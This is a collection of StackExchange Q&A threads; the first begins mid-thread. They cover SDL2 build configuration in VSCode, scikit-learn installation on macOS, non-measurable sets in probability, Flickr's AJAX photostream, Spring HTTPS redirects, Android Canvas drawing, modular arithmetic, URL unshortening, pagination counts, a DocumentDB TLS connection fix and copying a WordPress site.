"Win32", "includePath": [ "${workspaceFolder}/**", "${workspaceFolder}/lib/SDL2_lib/include" ], "defines": [ "_DEBUG", "UNICODE", "_UNICODE" ], "compilerPath": "C:\\MinGW\\bin\\g++.exe", "cStandard": "gnu11", "cppStandard": "c++14", "intelliSenseMode": "windows-gcc-x86", "configurationProvider": "ms-vscode.makefile-tools", "compilerArgs": [ "-I lib/SDL2_lib/include", "-L lib/SDL2_lib/lib", "-lmingw32", "-lSDL2main", "-lSDL2" ] } ], "version": 4 } Despite all this, I am getting the error: Edit: I should also add that adding a random file name instead of SDL.h underlines the entire include statement instead of just the end. So clearly, VSCode does know it exists, its just not adding it to the program which is what I'm guessing Edit2: Running make from powershell gives the following error: Is there an SDL2 folder inside SDL2_lib/include? Whats the content of the folder SDL2_lib/lib? Inside inlcude is all the .h files that comes in the original donwload at include/SDL2. SDL2_lib/lb is an exact copy of the lib file provided in the default mingw download for sdl2 Having both a makefile and a task is redundant. Or rather, you can have a task, but it should run the makefile instead of specifying all the compiler flags. "Running make from powershell gives the following error" Well, yes, you failed to specify -l... in the makefile. "SDL.h No such file or directory" I'm not that familiar with the stock C++ extension, but I think you need to add includePath to c_cpp_properties.json. It is clear that you have two problems. The VSCode's C++ extension complains about the file SDL2.h There's a linking problem when you compile from your Makefile Let's address the Makefile thing first: There's a typo in your Makefile, it says SDL2_lib/libr instead of SDL2_lib/lib. After fixing that, you must add the libraries to link with. Technically, you only need libSDL2.la (assuming dynamic linking) since you already wrote your own main() function (therefore you don't need SDL2main. So, the command line in your Makefile should look like this (note how I put the project's files before the libs to guarantee symbols are loaded correctly, this becomes more important when using intermediate files): g++ -Ilib/SDL2_lib/include -Llib/SDL2_lib/lib src/main.cpp \ -lmingw32 -lSDL2main -lSDL2 -mwindows \ -o Main If that doesn't work, please provide the compiler output (as text, not image) but not before trying this: Option one: Specify the whole library's filename: g++ -Ilib/SDL2_lib/include -Llib/SDL2_lib/lib src/main.cpp \ -lmingw32 -lSDL2main.la -llibSDL2.la -mwindows \ -o Main Option two: Link statically (you won't need the DLL) g++ -Ilib/SDL2_lib/include -Llib/SDL2_lib/lib src/main.cpp \ -lmingw32 lib/SDL2_lib/lib/libSDL2main.a lib/SDL2_lib/lib/libSDL2.a -mwindows \ -o Main About VSCode: I don't think there's anything wrong with your configuration. You may want to try switching to backslashes (which should't make a difference anyway) or (yes, for real) reloading VSCode. Should have updated yesterday, but yeah, compiling directly from the command line using g++ worked. I didn't end up using Makefile, cpp configs or tasks.json. The next issue I got was needing to define a Macro before the #include, doing this ended up solving the issue. I haven't used Windows and VSCode but I guess you can try g++ -I lib/SDL2_lib/include -Llib/SDL2_lib/lib -lsdl -o Main src/main.cpp or g++ -I lib/SDL2_lib/include -Llib/SDL2_lib/lib -lsdl2 -o Main src/main.cpp I ran both from the command line and now I'm just getting cannot find -lsdl Maybe try -lSDL or -lSDL2 instead? Maybe case matters There shouldn't be space between flags ie "-I lib/SDL2_lib/include" should be "-Ilib/SDL2_lib/include" "-L lib/SDL2_lib/lib" should be "-Llib/SDL2_lib/lib" MacOS Install the tools and libs brew install gcc brew install sdl2 brew install sdl2_image Create project structure mkdir -p game_app/{include,lib,src,build/debug} cd game_app cat << src/main.c << _EOF #include <stdio.h> #include <stdlib.h> #include <SDL2/SDL.h> typedef struct App { SDL_Window *window; SDL_Renderer *renderer; } App; int main(void) { printf("Hello, world!\n"); return EXIT_SUCCESS; } _EOF code . My Makefile CC = LIBRARY_PATH+="/opt/homebrew/lib" /opt/homebrew/bin/gcc-13 BUILD_DIR = build/debug SRC_DIR = src SRC_FILES = $(wildcard $(SRC_DIR)/*.c) OBJ_NAME = shooter INCLUDE_PATHS = -I/opt/homebrew/Cellar/gcc/13.2.0/include/c++/13 -Iinclude LIBRARY_PATHS = -L/opt/homebrew/Cellar/gcc/13.2.0/lib/gcc/13 -Llib COMPILER_FLAGS = -std=c17 -Wall -Wextra -Werror -g LINKER_FLAGS = -lSDL2 -lSDL2_image all: $(SRC_FILES) $(CC) $(COMPILER_FLAGS) $(LINKER_FLAGS) $(INCLUDE_PATHS) $(LIBRARY_PATHS) $(SRC_FILES) -o $(BUILD_DIR)/$(OBJ_NAME) clean: rm -rf $(BUILD_DIR)/* my vscode configuration .vscode/settings.json file { "C_Cpp.intelliSenseEngine": "Tag Parser", "C_Cpp.errorSquiggles": "disabled", "C_Cpp.enhancedColorization": "enabled", } .vscode/c_cpp_properties.json file { "configurations": [ { "name": "Mac", "compilerPath": "/opt/homebrew/bin/gcc-13", "intelliSenseMode": "macos-gcc-arm64", "includePath": [ "${workspaceFolder}/**", "/opt/homebrew/Cellar/gcc/13.2.0/include/c++/13", "${workspaceFolder}/include" ], "defines": [], "macFrameworkPath": [ "${workspaceFolder}/**", "/System/Library/Frameworks", "/Library/Frameworks" ], "cStandard": "c17", "cppStandard": "c++17", "configurationProvider": "ms-vscode.makefile-tools", "browse": { "path": [ "/opt/homebrew/Cellar/gcc/13.2.0/include/c++/13", "${workspaceFolder}/include" ] } } ], "version": 4 } .vscode/launch.json file { "version": "2.0.0", "configurations": [ { "name": "Debug", "type": "cppdbg", "request": "launch", "program": "${workspaceFolder}/build/debug/shooter", "args": [], "stopAtEntry": false, "cwd": "${workspaceFolder}", "environment": [], "externalConsole": false, "MIMode": "lldb", "preLaunchTask": "build" } ] } .vscode/tasks.json file { "version": "2.0.0", "tasks": [ { "type": "cppbuild", "label": "build", "command": "make", "args": [], "options": { "cwd": "${workspaceFolder}" }, "problemMatcher": [ "$gcc" ], "group": "build", "detail": "Build our program using make" } ], }
common-pile/stackexchange_filtered
Learning Python, can't install scikit-learn On my Windows machine, I ran pip3 install scikit-learn and it installed without any problems, however, on my Mac, I've tried a lot of things: $ brew list [17:21:35] ==> Formulae ca-certificates glib libidn2 libunistring little-cms2 ncurses pipx tree-sitter zstd cairo gmp libimagequant libuv lua neovim pixman unibilium fontconfig graphite2 liblinear libvterm luajit nmap<EMAIL_ADDRESS>utf8proc freetype harfbuzz libmpc libx11 luv numpy readline watch fribidi htop libpng libxau lz4 openblas scikit-image webp gcc icu4c libraqm libxcb lzo openjpeg scipy wget gettext isl libssh2 libxdmcp mpdecimal openssl@3 sqlite xorgproto giflib jpeg-turbo libtermkey libxext mpfr pcre2 tcl-tk xsimd git libevent libtiff libxrender msgpack pillow tmux xz ==> Casks android-file-transfer firefox iina microsoft-teams transmission-remote-gui wireshark dozer freecad inkscape shadowsocksx-ng-r visual-studio-code zoom dropbox google-chrome jellyfin-media-player steam vlc eddie google-earth-pro microsoft-auto-update teamviewer warp atom@macbook-pro: ~ $ brew install scikit-learn [17:21:38] Warning: No available formula with the name "scikit-learn". Did you mean scikit-image? ==> Searching for similarly named formulae and casks... ==> Formulae scikit-image ✔ To install scikit-image ✔, run: brew install scikit-image ✔ FAIL atom@macbook-pro: ~ $ pip3 install scikit-learn [17:21:44] error: externally-managed-environment × This environment is externally managed ╰─> To install Python packages system-wide, try brew install xyz, where xyz is the package you are trying to install. If you wish to install a Python library that isn't in Homebrew, use a virtual environment: python3 -m venv path/to/venv source path/to/venv/bin/activate python3 -m pip install xyz If you wish to install a Python application that isn't in Homebrew, it may be easiest to use 'pipx install xyz', which will manage a virtual environment for you. You can install pipx with brew install pipx You may restore the old behavior of pip by passing the '--break-system-packages' flag to pip, or by adding 'break-system-packages = true' to your pip.conf file. The latter will permanently disable this error. If you disable this error, we STRONGLY recommend that you additionally pass the '--user' flag to pip, or set 'user = true' in your pip.conf file. Failure to do this can result in a broken Homebrew installation. Read more about this behavior here: <https://peps.python.org/pep-0668/> note: If you believe this is a mistake, please contact your Python installation or OS distribution provider. You can override this, at the risk of breaking your Python installation or OS, by passing --break-system-packages. hint: See PEP 668 for the detailed specification. FAIL atom@macbook-pro: ~ $ pipx install scikit-learn [17:21:52] Note: Dependent package 'numpy' contains 1 apps - f2py No apps associated with package scikit-learn. Try again with '--include-deps' to include apps of dependent packages, which are listed above. If you are attempting to install a library, pipx should not be used. Consider using pip or a similar tool instead. FAIL I've also tried the commands on the official website, https://scikit-learn.org/stable/install.html, which produce similar errors as my system doesn't recognize pip and the -U flag doesn't make a difference. What am I doing wrong? I think it's explained in the above output, but to summarise: The package isn't available in homebrew (I checked for scikit-learn package and it doesn't exist in homebrew's formulae)... So you need to install your package using a python package manager such as pip. But to do that, you need to enter a virtual environment THEN use pip install scikit-learn... HOWEVER, a simpler way to install the scikit-learn package without needing to enter a virtual environment is to use pipx instead. The thing is, pipx isn't installed by default, so you need to brew install pipx first... I already have pipx installed and, as shown in the output above, tried to run pipx install scikit-learn. I'd like to do it without a venv to keep things simple since I only have one project, but if it's required to run I guess I'll bite. Did you try pipx install --include-deps scikit-learn? I get the same results in a virtual environment. I've just installed pipx (took me forever because it needed some other package dependencies!)... and got the same error as you if I ran pipx install scikit-learn... HOWEVER, if you run pipx install --include-deps scikit-learn, it should work (it did for me at least). hope that helps! @AVelj yeah that works but I can't access or find the environment where it's installed on vscode Did you run pipx ensurepath to automatically add it to your environment? That's the message I got when I installed it successfully. It should be located in ~/.local/bin/ Yes, I ran that command Just updated my previous comment, the package should be located in ~/.local/bin/... Can't help anymore unfortunately (off to see a friend). Good luck! How do I pull up hidden folders in vscode to pick them as the interpreter? all I want is to run a script with sklearn, why is this so difficult >.< Never used VSCode so I don't know unfortunately... but can't you just add a line in your VSCode to cd into ~/.local/bin/? Definitely you can cd into it in terminal using cd ~/.local/bin/. You could even run the program directly by entering ~/.local/bin/f2py in terminal. Does this answer your question? https://apple.stackexchange.com/questions/470627/yet-another-issue-with-a-homebrew-update-python-upgrade-no-module-named/470632#470632 @ohshitgorillas, did you get it working in the end? @AVelj Yes, I ended up using the venv created by VSCode rather than my own. It was easy to install once I was in the new venv. For some reason, selecting a custom-made interpreter in VSCode defaults to using homebrew's version or something. I don't understand it but my problem is fixed so I'm moving on.
common-pile/stackexchange_filtered
What is an uncountable union of events? In DeGroot and Schervish's 'Probability and Statistics'(4th editon), they define the sample space as the union of all outcomes, and an event as a set of possible outcomes. Definition 1.3.1 on page 5. "Experiment and Event. An experiment is any process, real or hypothetical, in which the possible outcomes can be identified ahead of time. An event is a well-defined set of possible outcomes of the experiment. " They then list 3 conditions that an event must satisfy, but I'm confused with the 3rd condition. Condition 3 on page 10: "If $A_1$, $A_2$, . . . is a countable collection of events, then $\bigcup_{i=1}^{\infty} A_i$ is also an event. In other words, if we choose to call each set of outcomes in some countable collection an event, we are required to call their union an event also. We do not require that the union of an arbitrary collection of events be an event. To be clear, let I be an arbitrary set that we use to index a general collection of events ${A_i : i \in I }$. The union of the events in this collection is the set of outcomes that are in at least one of the events in the collection. The notation for this union is $\bigcup_{i \in I} A_i$. We do not require that $\bigcup_{i \in I } A_i$ be an event unless I is countable. Condition 3 refers to a countable collection of events. We can prove that the condition also applies to every finite collection of events. " What confuses me is that, is there an uncountable union of events, that is not an event? You are going to want to talk about the probability of events. This is based on measure theory. If you allow the arbitrary construction of events as the uncountable union of other events then you may leave open the possibility of non-measurable sets and so events which do not have a probability. Yes, there exist sets that cannot be written as countable unions of events. Unfortunatelly, they are not constructible, and you need the axiom of choice to prove them. An example of such sets are the Vitali sets, which cannot be written as countable unions of intervals. Note: this is the part of probability theory that most coincides with a field called measure theory. In measure theory, we are interested in whether sets are "measurable" or not. If the "measure" of a space is precisely $1$, then we call that space a probability space, and a "measurable set" in a probability space is called an "event". So, under some assumptions, "non-events" are the same thing as "non-measurable sets". In short, if you are interested in probability theory, I highly suggest you take a class on measure theory sometime in the future. It makes probability much easier and more interesting at the same time. Yes. Assuming the Axiom of Choice (which is a very reasonable and common thing to do, but not universal), you can construct unions of events which, if allowed to be events themselves, will have a problematic probability of ocurring. Basically, it can't be $0$ and it can't be positive. To see it in action, let's say your experiment is to pick a point uniformly at random on a circle. Then any point is an event. Using the AoC, we can construct (or more correctly, we can prove the existence of) a set of points $\mathscr A_0$ on the circle with a special property: Rotating the set along the circle by any rational angle $\alpha\in (0^\circ, 360^\circ)$ results in a new set of points $\mathscr A_\alpha$. None of these $\mathscr A_\alpha$ have any points in common with any of the others, but together they cover the entire circle. So, if we were to assign some probability $p$ to picking a point in $\mathscr A_0$, then by rotational symmetry the same probability should apply to any of the $\mathscr A_\alpha$. And since they are all pairwise disjoint, and they together cover the circle, the sum of all those $p$'s should be $1$. Thus we have $$ \sum_{\alpha\in [0, 360)\cap \Bbb Q}p = 1 $$ But if $p$ is $0$, the sum is $0$, and if $p$ is positive, then the sum is infinite. So it is impossible to assign a probability to this union $\mathscr A_0$, and therefore we are better off not calling it an event.
common-pile/stackexchange_filtered
How do they do this, ajax, json I have been tasked with adding some functionality to a site similar to this screen on flickr. Does anyone have any idea how they do the photostream on the right. The images are not in the javascript, json or there is no ajax request. It would be really useful if anyone had an idea how they did this. What do you mean? I see a lot of traffic; one JSON, four thumbnails, even a tracking call to Yahoo Analytics. There is an AJAX request performed as you scroll. Open the console in your browser and look at the network tab. It will show a link similar to this: http://www.flickr.com/services/rest/?format=json&clientType=yui-3-flickrapi-module&api_key=8800e2eb03db7fb99992039f14061dcf&auth_hash=e65c85db55a2671d8d5968171150c516&auth_token=&secret=9978895fa92da630&photo_id=3396195710&num_prev=4&num_next=0&order_by=&extras=url_sq%2Curl_q%2Curl_t%2Curl_s%2Curl_m%2Curl_z%2Curl_c%2Curl_l%2Curl_o%2Cvideo_size%2Cowner_name%2Cpath_alias%2Cicon_server%2Cneeds_interstitial%2Ccount_comments%2Ccount_faves%2Curl_h%2Curl_k&method=flickr.photos.getContext&jsoncallback=YUI.flickrAPITransactions.flapicb23&cachebust=1358811052893 This is the restful link which returns JSON data. This JSON data contains the urls for the thumbnails of each of the photos, plus other information. 1st There is ajax request when you scroll thumbnails on the right. And I think that they make an ajax request with the last photo ID in the stream, the next pic in database or prev and the user who uploaded pics and surely others params... You want a script file that will give you picture thumb encoded in base64, url of the picture and next pictures id in database.. Example $("#photostream > .scroll").click(function(){ leftOrRight = $(this).attr("id"); // Assume that there is two buttons to get next or previous img with id #next and #prev $.ajax({ type: "GET", url: urlOfTheScriptFileThatWillProvideYouData.php, //aspx, jsp ... dataType: "json", data: "userId, photoId, leftOrRight", success: function(yourJson) { //... Do something with your data and append it in the slider etc..; }, error: function (xhr, textStatus, errorThrown) { $("#error").html(xhr.responseText); } }) }) Look at URL http://www.flickr.com/photos/roblawton/3847619643/in/photostream/ http://www.flickr.com/photos/USER-ID/PHOTO-ID/in/photostream/
common-pile/stackexchange_filtered
Redirect back to my site from third party payment system I provide a redirect url for a payment site. After payment is completed the payment site creates form with a submit button to bring user back to my site: <form action="http://my.site.foo/payment/ok">....</form> When I use http protocol everything works fine, but the payment site notifies user that her data will be sent unencrypted. Thus I decided to provide https link: https://my.site.foo:8080/payment/ok. In my spring-security.xml I put <security:intercept-url pattern="/payment/ok" requires-channel="https" /> But when I submit the form on a payment site I get 403 status. So my question is: How to configure spring for this particular situation and provide access to https://my.site.foo:8080/payment/ok from payment site? Running over HTTP or HTTPS isn't a Spring specific configuration, but rather a config at the web server/application server level. You will need set you Tomcat/Jetty to serve your application over HTTPS and of course that the page you redirect to is actually accessible. You will of course also need to buy a certificate. Here are the instructions to set up your Tomcat or Jetty servers. Hope it helps.
common-pile/stackexchange_filtered
Canvas to ImageView problem in Android I want to display Canvas contents on ImageView in android, but ImageView displaying blank. Bitmap imgBitmap = BitmapFactory.decodeResource(getResources(), R.drawable.image); Canvas canvas = new Canvas(); Paint paint = new Paint(Paint.ANTI_ALIAS_FLAG); canvas.drawBitmap(imgBitmap, 0, 0, paint); paint.setColor(Color.BLACK); paint.setAlpha(100); canvas.drawRect(0, 0, 100, 100, paint); // transparent black on image imgView.draw(canvas); what is the problem? and what should I do? When ImageView.draw() is called its actually putting the contents of the ImageView into the provided canvas, you have it logically backwards here. Instead use Canvas(Bitmap) constructor instead (so your canvas will draw on to the bitmap) then ImageView.setImageBitmap() with the same bitmap given to the canvas. You can use Bitmap.createBitmap(int, int, Bitmap.Config) to create the size of Bitmap you want. And remember if you have the canvas draw outside the Bitmap's bounds it is clipped. Thanks for answer. Bitmap bitmap = Bitmap.createBitmap(width, height, Bimap.Config.ARGB_8888); Canvas canvas = new Canvas(bitmap); ... imgView.setImageBitmap(bitmap);
common-pile/stackexchange_filtered
Modular arithmetic congruence class simple proof I have the following question but I'm unsure of how it can be approached by a method of proof. I'm new to modular arithmetic and any information on how to solve this would be great for me. (b) Let $t,s\in\{0,1,2,3,4,5\}$. In $\mathbb Z_{25}$, prove that $[t]\,[s]\neq[24]$. Imagine trying everything. Clearly $5\cdot 5$ is no good. All the other choices give (ordinary) product $m$ between $0$ and $20$, so it is clear that $25$ cannot divide $24-m$. First note that $24\equiv -1\pmod{25}$ and hence we are trying to show that $ts\not\equiv-1\pmod{25}$. Suppose for contradiction that $ts\equiv -1\pmod{25}$, then multiplying through by $-1$ we get $-ts\equiv 1\pmod{25}$ so $t$ or $s$ is invertible, say $t$ with inverse $-s$. Therefore $\gcd(t,25) = 1$ (why?), and hence $t = 1,2,3,4$. There is a unique value of $s$ corresponding to each of these (why?), each of which should give you a contradiction. very nice, well put ! im still getting my head around it though so this might take me a while so is [t] [s] just any values within the set? $[t][s]$ refers to the product of the equivalence classes of $[t]$ and $[s]$ taken modulo $25$ Hint $\ $ If $\rm\:a\:|\:b\:$ in $\Bbb Z$ then so too in every ring, and the quotient is unique if $\rm\:a\:$ is not a zero divisor. Also, divisors of units are units, so $\rm\: mod\ 25\:$ the divisors of $\:24\equiv -1\:$ are units, so coprime to $5$.
common-pile/stackexchange_filtered
Generating Canopy Height Model (CHM) with Quick Terrain Modeler? I currently looking forward to process LiDAR point clouds (forest data) using Quick Terrain Modeler (QTM), but is it possible to create Canopy Height Model directly using the software? Can CHM be performed from RGB generated Ortho and DSM in QGIS ? To obtain a Canopy Height Model (CHM), subtract the DEM from a DSM using the Subtract Model tool: Take a look at Quick Terrain Modeler: Importing LAS to DEM/DSM tutorial. The part you are interested begins in 4:58, but I advise watching the full video (the above picture was taken from it). I also find the Quick Terrain Modeler: Above Ground Analysis tutorial useful, because it teaches to build a Digital Elevation Models from both unclassified and classified point clouds, and then, to normalize points using the created DEM. The 'DSM' resulting from a normalized point cloud is the CHM. In case one is confused about the DEM or DSM terminology, I suggest reading What is the difference between DEM, DSM and DTM? About if "QTM can be an autonomous processing software for biomass estimation of the forest": Usually, when working with LiDAR data aiming to estimate forest biomass (both through an area-based approach or a single-tree approach) there will be more than one software involved. Hence, QTM won't work for performing all necessary steps (for example, tree segmentation). For the latter, take a look at: Extracting tree crown areas from remote sensing data (visual images and LiDAR) What I usually do when modelling forest biomass is to use a statistic software such as R, and call other tools for processing LiDAR data from there. For example, see Retrieving LiDAR metrics from relative vertical layers of point cloud. Can this software perform single tree segmentation ? as far as i know, the software is limited to certain extend only and for further analysis, we have to proceed to other GIS software; ArcGIS for example @FarhanRajuli, I complimented my answer to explain what I do in terms of software used when modelling forest biomass with LiDAR data. Best.
common-pile/stackexchange_filtered
Timeout while connecting to DocumentDB from Lambda I can successfully connect to the cluster (1 instance for now) from the Cloud9 console using mongo shell, however wasted hours trying to connect to it from within a lambda function. Setup: Both cluster and lambda are in the same VPC (default) TLS is ON Cluster is in a security group called DemoDocDB which has inbound rules for 27017 for two security groups: cloud9 and DefaultSG Lambda is in the default VPC and also in the DefaultSG security group Code: config.js module.exports = {     CONNECTION_STRING: 'mongodb://<user>:<pwd>@xxx.us-east-1.docdb.amazonaws.com:27017',     SSL_CERTIFICATE: returnCerts(), // SSL Cert     DB_NAME: 'documentdb', // Database name     COLLECTION_NAME: 'events' // Tablename; } function returnCerts() { // Trick to avoid filesystem read of https://s3.amazonaws.com/rds-downloads/rds-combined-ca-bundle.pem return `-----BEGIN CERTIFICATE-----bla blah blah` } index.js const {CONNECTION_STRING, SSL_CERTIFICATE, DB_NAME, COLLECTION_NAME} = require('./config'); const MongoClient = require('mongodb').MongoClient; let client = null; exports.handler = (event, context, callback) => {          client = MongoClient.connect(CONNECTION_STRING,     {       sslValidate: true,       sslCA:SSL_CERTIFICATE,       useNewUrlParser: true     },     function(err, client) {         console.log('connection callback invoked')                 if(err){             console.log(err)         }    })                   //callback();     return {         statusCode: 200,         body: JSON.stringify({"message":"hey"})     }; }; Other: Nodejs 12.x, mongodb 3.6.2 Error: START RequestId: 5e135853-063b-4d5a-8a21-9a29d15c8750 Version: $LATEST 2020-11-01T02:21:43.912Z 5e135853-063b-4d5a-8a21-9a29d15c8750 ERROR (node:9) DeprecationWarning: current Server Discovery and Monitoring engine is deprecated, and will be removed in a future version. To use the new Server Discover and Monitoring engine, pass option { useUnifiedTopology: true } to the MongoClient constructor. 2020-11-01T02:21:54.053Z 5e135853-063b-4d5a-8a21-9a29d15c8750 INFO connection callback invoked 2020-11-01T02:21:54.091Z 5e135853-063b-4d5a-8a21-9a29d15c8750 INFO MongoNetworkError: failed to connect to server [docdb-2020-10-31-23-57-52.cluster-cgzg3t2i3zpn.us-east-1.docdb.amazonaws.com:27017] on first connect [MongoNetworkTimeoutError: connection 0 to docdb-2020-10-31-23-57-52.cluster-cgzg3t2i3zpn.us-east-1.docdb.amazonaws.com:27017 timed out at Socket.<anonymous> (/var/task/LambdaDBTest/node_modules/mongodb/lib/core/connection/connection.js:421:7) at Object.onceWrapper (events.js:421:28) at Socket.emit (events.js:315:20) at Socket._onTimeout (net.js:482:8) at listOnTimeout (internal/timers.js:549:17) at processTimers (internal/timers.js:492:7) { [Symbol(beforeHandshake)]: true }] at Pool.<anonymous> (/var/task/LambdaDBTest/node_modules/mongodb/lib/core/topologies/server.js:438:11) at Pool.emit (events.js:315:20) at /var/task/LambdaDBTest/node_modules/mongodb/lib/core/connection/pool.js:562:14 at /var/task/LambdaDBTest/node_modules/mongodb/lib/core/connection/pool.js:995:11 at callback (/var/task/LambdaDBTest/node_modules/mongodb/lib/core/connection/connect.js:75:5) at /var/task/LambdaDBTest/node_modules/mongodb/lib/core/connection/connect.js:101:9 at _callback (/var/task/LambdaDBTest/node_modules/mongodb/lib/core/connection/connection.js:329:7) at Connection.errorHandler (/var/task/LambdaDBTest/node_modules/mongodb/lib/core/connection/connection.js:344:7) at Object.onceWrapper (events.js:422:26) at Connection.emit (events.js:315:20) Are you connecting to a public endpoint of your cluster? If so, lambda in default VPC will not have any internet access, explaining your timeout. Connecting to the only endpoint provided in the cluster details (guessing that's the public one?). Also, the DefaultSG has inbound permissions for the traffic from DemoDocDB The issue is lambda specifiic? If you spin up an instance, with uses same SG as lambda, does connection work? Well, I just tried to do the same with Python and it worked almost straight off the bat. I.e. my configuration seem to be correct and instead the problem might be in the MongoClient driver. So, going to ditch the javascript and switch to Python Thanks for letting me know. You can answer your own question, for future reference for others:-) I had a similar timeout issue connecting to a DocumentDB cluster with TLS enabled recently where I had omitted to tell the MongoClient to use SSL... I had the sslValidate and the sslCA option set but had not set the SSL option. You have to either add ssl: true to your MongClient.connect options or add ssl=true to the connection URL query string. It doesn't look like (from the code snippets) that you're using either? To clarify, the connection options from the question: { sslValidate: true, sslCA:SSL_CERTIFICATE, useNewUrlParser: true } Should be: { ssl: true, sslValidate: true, sslCA:SSL_CERTIFICATE, useNewUrlParser: true } Oh wow, this was so helpful. I was trying to figure out in https://stackoverflow.com/q/75990980 why I could contact DocumentDb cluster from Cloud9 but not from my Spring Boot application, not realizing that in Cloud9 I was telling mongosh to use SSL/TLS but that Spring Boot by default apparently doesn't handle SSL/TLS. I had spent a whole day up against this roadblock until I found your answer here. Thank you!
common-pile/stackexchange_filtered
How to determine the "number of pages" most effectively? I hope I'm not writing a duplicate, but I haven't found anything that answers my question. (Although it seems to me to be quite common problem.) The problem occurs in nearly every web project: You have a table with many many entries and want them to be displayed on single pages. Now I wonder what's the best way to compute the number of pages needed for a certain set of table rows. Here some approaches I've been thinking of. I'd like to get some response on how effective they are. I'll give PHP-specific examples, but I bet there are similar techniques in other languages. The probably best way is to save the number of pages statically and modify the value every time a new entry is added. (Nevertheless... I'm looking for a dynamic solution :-) ) Do a SELECT COUNT(*) over the rows of interest and compute the page number every time the page is displayed. Do a ordinary select to get a result set for all rows. Now don't load the rows by calling mysql_fetch_row or so, but get the number of rows with mysql_num_rows. (Since I have no idea how this is implemented I cannot say whether it is effective or not. Anyone who knows?) Then I could comfortably move the result set pointer. (For mysqli there is mysql_data_seek, but the native MySQL extension has no similar function. Therefore I assume that this is just some buffering behaviour of mysqli) Can anyone say how to count the number of rows (number of pages) most effectively? Is it REALLY this much work to do such a simple task with PHP? If so, I'm very very very very happy to be coding on the .NET Platform! None of this is a lot of work - not sure what you mean pearcewg Number 2 is the most common pattern select count(*) from [Table] where [Expressions] And then select [Columns] from [Table] where [Expressions] limit [Pagesize] offset [Pagenum*Pagesize-Pagesize] This gives you the total rows for the entire result set, but only the data of the rows for the current page. Many frameworks or CMSes have conventions for caching certain parts of this data in the session which you may or may-not want to do depending on you expected table sizes, volatility of data, etc. +1 This is also the only method that allows for a variable number number of items per page. Plus it's a no-brainer, or so I thought. If you really wanted to something of truely WTF proportions, you could always keep track of how many rows there were by incrementing some register using a trigger on insert/delete. But I think this is an answer asking for yet more questions ;). Just use SELECT COUNT if you have to. If its slow, that means your database is built wrong usually. Also, I have the feeling there is premature optimisation creeping in here. Don't optimise prematurely. Make it make sense, and then make it make sense better. Make sense? I think you want to build your navigation around a single SQL query which only modifies the LIMIT keyword. For example SELECT * FROM myTable LIMIT 0,20 will return the first 20 rows. In your PHP script for page 2 you will then set the SQL query to be SELECT * FROM myTable LIMIT 20,40 thus returning rows from 20 to 40. Is this what you were looking for? The navigation can be built with your PHP script by simply doing a select COUNT(*) / rowsPerPage and thus looping a structure of code until you meet the total number of rows. The end query would then LIMIT to lastLimit,TotalRowCount. Edit: to compute how many pages you need to compute all rows you would need to define how many rows 1 page can have. You would then do TotalRows/MaxPerPage = howManyPagesNeeded If I understand correctly, in most systems I've worked on I've needed the number of pages at the same time as I am grabbing a new set of rows for a page. This allows a display of "page N of M" or something like that as the title, and a screen full of entries. It's database dependent, but usually you pass in the current_page number (or row number), then do a "limited query" (fetchsize, top, etc.) to get the next set of rows and a total page number. Granted it gets ugly if the number of rows is changing underneath, but I usually don't worry about that. Paul. 2 questions to consider in this context: how to handle data that gets updated/inserted while you are viewing? how many concurrent users will be browsing the data, and will the application be able to keep up with the traffic when it fetches data pages dynamically? Depending on the answers, some of the other answers here may or may not apply. You might want to check out this question, it is very similar to what you are asking. A nice way to do this is use SQL_CALC_FOUND_ROWS Example: SELECT SQL_CALC_FOUND_ROWS * FROM tbl_name WHERE id > 100 LIMIT 10; SELECT FOUND_ROWS(); Even though you're limiting the query to 10 results, the second query will return the actual total rows that would have been returned had you not used a limit. It's important to note that FOUND_ROWS() is not reliable when using MySQL's database replication Actually, if you're filling a webpage with PHP, it's easier to just get the MySQL table, put the data into an array and use a for-loop to go throught the data like this for($i=0;$i<count($arrayvar);$i++){} With even a simple template engine, you can declare a block inside another block and parse all the data in one consequtive line. Hope that's the type of answer you're looking for. I'm not really clear on what you mean by your question, but I think this is it.
common-pile/stackexchange_filtered
How to print text in a makefile outside a target? For example, I am trying to test whether this works in my makefile preamble: ifneq (,$(shell latexmk --version 2>/dev/null)) echo Works else echo Does not Works endif all: do things... Which does the error: *** recipe commences before first target. Stop. Then, how to prints things outside rules? Makefile does not allow commands outside rules, or outside result:=$(shell ...). In GNU Make there are $(info ...), $(warning ...) and $(error ...) built-in functions. Note that syntactically they are text substitutions, yet their return value is always an empty string (except $(error ...) which never returns), as it's with $(eval ...) etc. So they could be used almost everywhere. Yet another option is $(file >/dev/stdout,...) (under Windows use "con"). After I found this question, https://unix.stackexchange.com/questions/464754/how-to-see-from-which-file-descriptor-output-is-coming I think this kinda works: ifneq (,$(shell latexmk --version 2>/dev/null)) useless := $(shell echo Works 1>&2) else useless := $(shell echo Does not Works 1>&2) useless := $(error exiting...) endif all: echo Hey sister, do you still believe in love I wonder... Bonus: Can I make a makefile abort outside of a rule?
common-pile/stackexchange_filtered
How does über recognize what friend invited a specific user? How does über recognize what friend invited a specific user without using email or phone number? I understand the link has a user id at the end of the URL and then that site redirects to the apple app store but what data is über collecting when a user opens the link in safari before sending the user to app store url scheme? Safari cookies aren't accessible from the app, right? Also I don't believe they don't use what email/phone number you invited because they also allow you to share on twitter which would require the user to register via/connect their twitter account right?
common-pile/stackexchange_filtered
Converting shortened URLs from different URL-shortening services back via Python I was wondering if there is a convenient way via an already available Python library to convert back shortened URLs into the 'native' URLs. For example, from a list of shortened URLs: ['some url from bitly', 'shortened url from twitter', ...] import requests r = requests.get("http://bit.ly/XXXX") print r.url r.url will be the resolved url as returned by the server the content resides on I'd use r = requests.get(url, allow_redirects=False), then use r.headers['location']. Otherwise, requests follows the redirect and makes two requests (at least). Using the standard library: import urllib2 response = urllib2.urlopen('http://shorturl') response.geturl()
common-pile/stackexchange_filtered
I copied a wordpress site, but the database doesnt show! Here is what i did; I made a wordpress website and i wanted to copy this to another site. I made a backup of all the files and the database. I changed the links to the new site. Then i imported the database to the new site. I installed wordpress on the new site. But it seems that the new theme and database isnt showing. Does anybody know what im doing wrong? Thanks in advance What specifically do you mean by not showing? Not showing in the Wordpress admin menu? Yes it isnt showing in the Wordpress admin menu I did this just recently. I downloaded a plugin which allowed a full export of the wordpress site. I then installed a clean wordpress site on the new site and then imported the old data into the clean site usingthe import function in wordpress. It asked to map old user to new users and that was it - new site up and running. It seems this is built into WordPress 3.x I think your problem was loading the database with the data and then installing wordpress. The way I described above took just a few minutes and was foolproof. Thank you what is the name of the plug in :)?
common-pile/stackexchange_filtered
